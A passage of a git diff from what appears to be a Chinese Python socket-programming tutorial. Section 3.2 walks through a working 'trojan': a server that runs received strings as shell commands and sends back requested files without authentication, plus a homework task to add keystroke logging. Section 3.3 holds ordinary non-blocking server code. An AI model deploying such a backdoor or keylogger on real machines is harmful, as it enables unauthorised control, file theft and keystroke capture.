socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.bind((self.ip, self.port)) # 绑定 + s.listen(10) # 监听 + print('等待客户端连接') + while True: # 一直等待新的连接 + try: + conn, addr = s.accept() # 接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + while True: # 保持长连接 + data = conn.recv(self.bufferSize)#接收数据 + if not data:#断开连接时退出当前循环 + break + else: + self.executeCommand(conn,data) + conn.close()#关闭当前连接 + except socket.error as e: + print(e) + conn.close() # 关闭连接 + finally: + s.close() # 关闭服务端 + + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + #判断是否是文件 + #获取文件大小 + #发送文件大小 + #发送文件内容 + #如果不是文件则执行shell命令并返回结果 + pass + except: + raise + + + +if __name__ == '__main__': + s = server('', 8800) + s.start() +``` + +在上面的代码中,我们使用了连个while...true循环,第一个用来接收新的连接,第二个是在当前连接中保持连接,一直接收数据。此处我们假定客户端发送的命令数据一定小于10240 byte,所以一次接收完毕,然后调用executeCommand方法。 + +executeCommand方法要完成的第一个任务是判断传来的命令是否是一个文件路径,这里我们可以使用 + +```Python +os.path.isfile(path) +``` +方法来判断。 +接下来是获取文件大小,可以使用 + +```Python +os.path.getsize(path) +``` +方法。 + +接下来是打开文件,然后逐行读取并发送出去,文件操作如果还不熟悉,请回头复习2.1节。 + +下面我们来完善executeCommand方法: + +```Python + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + except: + raise +``` +上面的代码需要注意的是,我们获取和发送文件大小的原因,如果文件非常大,客户端是无法一次性接收完毕的,需要循环接收数据,直到指定大小为止。在发送大小之后,我们调用了recv方法: + +```Python + +data = tcpCliSock.recv(self.bufferSize) +``` + +这里有个交互,客户端收到大小信息后,会回复一个消息给服务端,服务端在这里等待客户端的消息,这会挂起连接直到客户端消息到达。实际作用是分割了文件大小和文件内容的发送和接收,避免了粘包的情况。 + +接下来打开文件,循环发送。 + +服务端最后一个功能是执行shell命令,这里执行shell命令并且能获取返回值的简单做法为调用 +``` +os.popen(cmd).read() +``` +方法。 + +下面将executeCommand方法补充完整: + +```Python + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + else: + tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8')) + except: + raise +``` + +补充的逻辑中,注意使用了encode方法对数据进行编码,接收端需要使用同样的编码格式进行解码。同时需要注意,在shell命令执行结果前我们添加了'0001',客户端需要根据此消息头来确定返回的数据是文件还是shell命令执行结果。到此服务端程序基本完成,下面写客户端。 + +### 3.2.2 客户端 + +和上一节类似,我们先完成一个基本客户端程序。 + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import re +import os + +class Client: + def __init__(self,serverIp,serverPort): + self.serverIp=serverIp #待连接的远程主机的域名 + self.serverPort = serverPort + + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + #接收用户输入内容 + #发送命令到服务端 + #接收数据 + #判断数据类型 + #命令结果 + #文件 + #接收文件并写入磁盘 + except socket.error: + s.close() + raise #退出进程 + + + + + +if __name__ == '__main__': + cl = Client('127.0.0.1',8800) + cl.connet() + sys.exit() #退出进程 + +``` + +在connect方法中,我们使用while...True来保持客户端和服务器的长连接,并且需要实现的功能为接收用户从命令行传入的命令,然后将命令发送到服务端。接收服务端返回的数据,并判断数据是shell命令结果还是文件内容。如果是文件内容则将文件数据循环接收,写入磁盘。下面我们分解一下基本功能点。 + +接收用户输入,我们可以使用‘input’函数。 + +数据接收之后我们需要判断是否是以‘0001’开头,可以使用正则库re来进行正则匹配: + +```Python +re.search("^0001",message) +``` + +接收文件的时候,需要循环接收,直到指定大小。 + +```Python +while received_size < file_total_size: + data = tcpCliSock.recv(bufferSize) + f.write(data)#文件写入 + received_size += len(data)#累积大小 + print("已接收:", received_size) +#接收完毕 +``` + +下面我们来完善connet方法。 + +```Python + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + message = input('> ')#接收用户输入 + if not message: + break + s.send(bytes(message, 'utf-8'))#发送命令 + data = s.recv(self.bufferSize)#接收数据 + if not data: + break + if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型 + print(data.decode('utf-8')[4:]) + else:#文件内容处理 + s.send("File size received".encode())#通知服务端可以发送文件了 + file_total_size = int(data.decode())#总大小 + received_size = 0 + f = open("new" +os.path.split(message)[-1], "wb")#创建文件 + while received_size < file_total_size: + data = s.recv(self.bufferSize) + f.write(data)#写文件 + received_size += len(data)#累加接收长度 + print("已接收:", received_size) + f.close()#关闭文件 + print("receive done", file_total_size, " ", received_size) + except socket.error: + s.close() + raise #退出进程 + finally: + s.close() +``` + +客户端的方法到此完善完毕。 + +### 3.2.3 测试 + +我们可以启动服务端和客户端进行简单的测试。先启动服务端: + + + +再启动客户端,输入ls命令: + + + +我们看到ls命令的返回结果,有两个文件,接下来我们要求服务端返回client.py的文件内容。 +客户端输出内容如下图: + + + +服务端输出内容如下图: + + + +从上面的结果我可以看出,服务端和客户端的整个交互流程。最后客户端成功接收了文件: + + + +### 3.2.4 小结 + +本节我们在的socket编程的基础上,完成了一个建议木马程序的客户端和服务端,继续巩固了之前所学的知识。本节的作业如下: + +1. 给木马程序添加键盘监控功能,并发送键盘记录信息给客户端 + +下一节,我们继续学习更加复杂的大型客户端、服务端编程的方法。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + + + diff --git a/3.2.pdf b/3.2.pdf new file mode 100644 index 0000000..31c97f3 Binary files /dev/null and b/3.2.pdf differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" new file mode 100644 index 0000000..6c84c0e Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" new file mode 100644 index 0000000..e33a386 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" @@ -0,0 +1,69 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +# 测试类 + + +class Client: + def __init__(self, host, port, numConn): + self.host = host # 待连接的远程主机的域名 + self.port = port + self.message = [b'message 1 from client', b'message 2 from client'] + self.numConn = numConn + self.selector = selectors.DefaultSelector() + + def connet(self): # 连接方法 + server_addr = (self.host, self.port) + for i in range(0, self.numConn): + connid = i + 1 + print('开始连接', connid, '到', server_addr) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setblocking(False) + sock.connect_ex(server_addr)#连接服务端 + events = selectors.EVENT_READ | selectors.EVENT_WRITE + data = types.SimpleNamespace(connid=connid, + msg_total=sum(len(m) for m in self.message), + recv_total=0, + messages=list(self.message), + outb=b'') + self.selector.register(sock, events, data=data) + + try: + while True: + events = self.selector.select(timeout=1) + if events: + for key, mask in events: + self.service_connection(key, mask) + + finally: + self.selector.close() + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) + if recv_data: + print("收到", repr(recv_data), "来自连接", data.connid) + data.recv_total += len(recv_data) + if not recv_data or data.recv_total == data.msg_total: + print("关闭连接:", data.connid) + self.selector.unregister(sock) + sock.close() + if mask & selectors.EVENT_WRITE: + if not data.outb and data.messages: + data.outb = data.messages.pop(0) + if data.outb: + print("发送", repr(data.outb), "到连接", data.connid) + sent = sock.send(data.outb) #发送数据 + data.outb = data.outb[sent:]#清空数据 + + + +if __name__ == '__main__': + cl = Client('127.0.0.1', 8800, 5) + cl.connet() diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" new file mode 100644 index 0000000..240e2c7 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" @@ -0,0 +1,208 @@ +import sys +import selectors +import json +import io +import struct + + +class Message: + def __init__(self, selector, sock, addr, request): + self.selector = selector + self.sock = sock + self.addr = addr + self.request = request + self._recv_buffer = b"" + self._send_buffer = b"" + self._request_queued = False + self._jsonheader_len = None + self.jsonheader = None + self.response = None + + def _set_selector_events_mask(self, mode): + """Set selector to listen for events: mode is 'r', 'w', or 'rw'.""" + if mode == "r": + events = selectors.EVENT_READ + elif mode == "w": + events = selectors.EVENT_WRITE + elif mode == "rw": + events = selectors.EVENT_READ | selectors.EVENT_WRITE + else: + raise ValueError(f"Invalid events mask mode {repr(mode)}.") + self.selector.modify(self.sock, events, data=self) + + def _read(self): + try: + # Should be ready to read + data = self.sock.recv(4096) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + if data: + self._recv_buffer += data + else: + raise RuntimeError("Peer closed.") + + def _write(self): + if self._send_buffer: + print("sending", repr(self._send_buffer), "to", self.addr) + try: + # Should be ready to write + sent = self.sock.send(self._send_buffer) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + self._send_buffer = self._send_buffer[sent:] + + def _json_encode(self, obj, encoding): + return json.dumps(obj, ensure_ascii=False).encode(encoding) + + def _json_decode(self, json_bytes, encoding): + tiow = io.TextIOWrapper( + io.BytesIO(json_bytes), encoding=encoding, newline="" + ) + obj = json.load(tiow) + tiow.close() + return obj + + def _create_message( + self, *, content_bytes, content_type, content_encoding + ): + jsonheader = { + "byteorder": sys.byteorder, + "content-type": content_type, + "content-encoding": content_encoding, + "content-length": len(content_bytes), + } + jsonheader_bytes = self._json_encode(jsonheader, "utf-8") + message_hdr = struct.pack(">H", len(jsonheader_bytes)) + message = message_hdr + jsonheader_bytes + content_bytes + return message + + def _process_response_json_content(self): + content = self.response + result = content.get("result") + print(f"got result: {result}") + + def _process_response_binary_content(self): + content = self.response + print(f"got response: {repr(content)}") + + def process_events(self, mask): + if mask & selectors.EVENT_READ: + self.read() + if mask & selectors.EVENT_WRITE: + self.write() + + def read(self): + self._read() + + if self._jsonheader_len is None: + self.process_protoheader() + + if self._jsonheader_len is not None: + if self.jsonheader is None: + self.process_jsonheader() + + if self.jsonheader: + if self.response is None: + self.process_response() + + def write(self): + if not self._request_queued: + self.queue_request() + + self._write() + + if self._request_queued: + if not self._send_buffer: + # Set selector to listen for read events, we're done writing. + self._set_selector_events_mask("r") + + def close(self): + print("closing connection to", self.addr) + try: + self.selector.unregister(self.sock) + except Exception as e: + print( + f"error: selector.unregister() exception for", + f"{self.addr}: {repr(e)}", + ) + + try: + self.sock.close() + except OSError as e: + print( + f"error: socket.close() exception for", + f"{self.addr}: {repr(e)}", + ) + finally: + # Delete reference to socket object for garbage collection + self.sock = None + + def queue_request(self): + content = self.request["content"] + content_type = self.request["type"] + content_encoding = self.request["encoding"] + if content_type == "text/json": + req = { + "content_bytes": self._json_encode(content, content_encoding), + "content_type": content_type, + "content_encoding": content_encoding, + } + else: + req = { + "content_bytes": content, + "content_type": content_type, + "content_encoding": content_encoding, + } + message = self._create_message(**req) + self._send_buffer += message + self._request_queued = True + + def process_protoheader(self): + hdrlen = 2 + if len(self._recv_buffer) >= hdrlen: + self._jsonheader_len = struct.unpack( + ">H", self._recv_buffer[:hdrlen] + )[0] + self._recv_buffer = self._recv_buffer[hdrlen:] + + def process_jsonheader(self): + hdrlen = self._jsonheader_len + if len(self._recv_buffer) >= hdrlen: + self.jsonheader = self._json_decode( + self._recv_buffer[:hdrlen], "utf-8" + ) + self._recv_buffer = self._recv_buffer[hdrlen:] + for reqhdr in ( + "byteorder", + "content-length", + "content-type", + "content-encoding", + ): + if reqhdr not in self.jsonheader: + raise ValueError(f'Missing required header "{reqhdr}".') + + def process_response(self): + content_len = self.jsonheader["content-length"] + if not len(self._recv_buffer) >= content_len: + return + data = self._recv_buffer[:content_len] + self._recv_buffer = self._recv_buffer[content_len:] + if self.jsonheader["content-type"] == "text/json": + encoding = self.jsonheader["content-encoding"] + self.response = self._json_decode(data, encoding) + print("received response", repr(self.response), "from", self.addr) + self._process_response_json_content() + else: + # Binary or unknown content-type + self.response = data + print( + f'received {self.jsonheader["content-type"]} response from', + self.addr, + ) + self._process_response_binary_content() + # Close when response has been processed + self.close() diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" new file mode 100644 index 0000000..7b6fb38 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" @@ -0,0 +1,216 @@ +import sys +import selectors +import json +import io +import struct + +request_search = { + "morpheus": "Follow the white rabbit. \U0001f430", + "ring": "In the caves beneath the Misty Mountains. \U0001f48d", + "\U0001f436": "\U0001f43e Playing ball! \U0001f3d0", +} + + +class Message: + def __init__(self, selector, sock, addr): + self.selector = selector + self.sock = sock + self.addr = addr + self._recv_buffer = b"" + self._send_buffer = b"" + self._jsonheader_len = None + self.jsonheader = None + self.request = None + self.response_created = False + + def _set_selector_events_mask(self, mode): + """Set selector to listen for events: mode is 'r', 'w', or 'rw'.""" + if mode == "r": + events = selectors.EVENT_READ + elif mode == "w": + events = selectors.EVENT_WRITE + elif mode == "rw": + events = selectors.EVENT_READ | selectors.EVENT_WRITE + else: + raise ValueError(f"Invalid events mask mode {repr(mode)}.") + self.selector.modify(self.sock, events, data=self) + + def _read(self): + try: + # Should be ready to read + data = self.sock.recv(4096) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + if data: + self._recv_buffer += data + else: + raise RuntimeError("Peer closed.") + + def _write(self): + if self._send_buffer: + print("sending", repr(self._send_buffer), "to", self.addr) + try: + # Should be ready to write + sent = self.sock.send(self._send_buffer) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + self._send_buffer = self._send_buffer[sent:] + # Close when the buffer is drained. The response has been sent. + if sent and not self._send_buffer: + self.close() + + def _json_encode(self, obj, encoding): + return json.dumps(obj, ensure_ascii=False).encode(encoding) + + def _json_decode(self, json_bytes, encoding): + tiow = io.TextIOWrapper( + io.BytesIO(json_bytes), encoding=encoding, newline="" + ) + obj = json.load(tiow) + tiow.close() + return obj + + def _create_message( + self, *, content_bytes, content_type, content_encoding + ): + jsonheader = { + "byteorder": sys.byteorder, + "content-type": content_type, + "content-encoding": content_encoding, + "content-length": len(content_bytes), + } + jsonheader_bytes = self._json_encode(jsonheader, "utf-8") + message_hdr = struct.pack(">H", len(jsonheader_bytes)) + message = message_hdr + jsonheader_bytes + content_bytes + return message + + def _create_response_json_content(self): + action = self.request.get("action") + if action == "search": + query = self.request.get("value") + answer = request_search.get(query) or f'No match for "{query}".' + content = {"result": answer} + else: + content = {"result": f'Error: invalid action "{action}".'} + content_encoding = "utf-8" + response = { + "content_bytes": self._json_encode(content, content_encoding), + "content_type": "text/json", + "content_encoding": content_encoding, + } + return response + + def _create_response_binary_content(self): + response = { + "content_bytes": b"First 10 bytes of request: " + + self.request[:10], + "content_type": "binary/custom-server-binary-type", + "content_encoding": "binary", + } + return response + + def process_events(self, mask): + if mask & selectors.EVENT_READ: + self.read() + if mask & selectors.EVENT_WRITE: + self.write() + + def read(self): + self._read() + + if self._jsonheader_len is None: + self.process_protoheader() + + if self._jsonheader_len is not None: + if self.jsonheader is None: + self.process_jsonheader() + + if self.jsonheader: + if self.request is None: + self.process_request() + + def write(self): + if self.request: + if not self.response_created: + self.create_response() + + self._write() + + def close(self): + print("closing connection to", self.addr) + try: + self.selector.unregister(self.sock) + except Exception as e: + print( + f"error: selector.unregister() exception for", + f"{self.addr}: {repr(e)}", + ) + + try: + self.sock.close() + except OSError as e: + print( + f"error: socket.close() exception for", + f"{self.addr}: {repr(e)}", + ) + finally: + # Delete reference to socket object for garbage collection + self.sock = None + + def process_protoheader(self): + hdrlen = 2 + if len(self._recv_buffer) >= hdrlen: + self._jsonheader_len = struct.unpack( + ">H", self._recv_buffer[:hdrlen] + )[0] + self._recv_buffer = self._recv_buffer[hdrlen:] + + def process_jsonheader(self): + hdrlen = self._jsonheader_len + if len(self._recv_buffer) >= hdrlen: + self.jsonheader = self._json_decode( + self._recv_buffer[:hdrlen], "utf-8" + ) + self._recv_buffer = self._recv_buffer[hdrlen:] + for reqhdr in ( + "byteorder", + "content-length", + "content-type", + "content-encoding", + ): + if reqhdr not in self.jsonheader: + raise ValueError(f'Missing required header "{reqhdr}".') + + def process_request(self): + content_len = self.jsonheader["content-length"] + if not len(self._recv_buffer) >= content_len: + return + data = self._recv_buffer[:content_len] + self._recv_buffer = self._recv_buffer[content_len:] + if self.jsonheader["content-type"] == "text/json": + encoding = self.jsonheader["content-encoding"] + self.request = self._json_decode(data, encoding) + print("received request", repr(self.request), "from", self.addr) + else: + # Binary or unknown content-type + self.request = data + print( + f'received {self.jsonheader["content-type"]} request from', + self.addr, + ) + # Set selector to listen for write events, we're done reading. + self._set_selector_events_mask("w") + + def create_response(self): + if self.jsonheader["content-type"] == "text/json": + response = self._create_response_json_content() + else: + # Binary or unknown content-type + response = self._create_response_binary_content() + message = self._create_message(**response) + self.response_created = True + self._send_buffer += message diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" new file mode 100644 index 0000000..f888125 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" @@ -0,0 +1,65 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + self.selector = selectors.DefaultSelector()#初始化selector + + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待连接:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + while True: + events = self.selector.select(timeout=None)#阻塞调用,等待新的读/写事件 + for key, mask in events: + if key.data is None:#新的连接请求 + self.accept_wrapper(key.fileobj) + else:#收到客户端连接发送的数据 + self.service_connection(key, mask) + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + def accept_wrapper(self,sock): + conn, addr = sock.accept() # Should be ready to read + print('接收客户端连接', addr) + conn.setblocking(False) #非阻塞 + data = types.SimpleNamespace(addr=addr, inb=b'', outb=b'')#socket数据 + events = selectors.EVENT_READ | selectors.EVENT_WRITE #监听读写 + self.selector.register(conn, events, data=data)#注册客户端socket + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) # 接收数据 + if recv_data: + data.outb += recv_data + else:#客户端断开连接 + print('关闭连接', data.addr) + self.selector.unregister(sock)#取消注册,防止出错 + sock.close() + if mask & selectors.EVENT_WRITE: + if data.outb: + print('发送', repr(data.outb), '到', data.addr) + sent = sock.send(data.outb) + data.outb = data.outb[sent:] + + +if __name__ == '__main__': + s = server('',8800) + s.start() + + diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..b784699 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..bfa1240 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" new file mode 100644 index 0000000..3cd5226 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..d8e1431 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..5f86c7f Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..f1d4827 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" new file mode 100644 index 0000000..324d13e --- /dev/null +++ "b/3.3 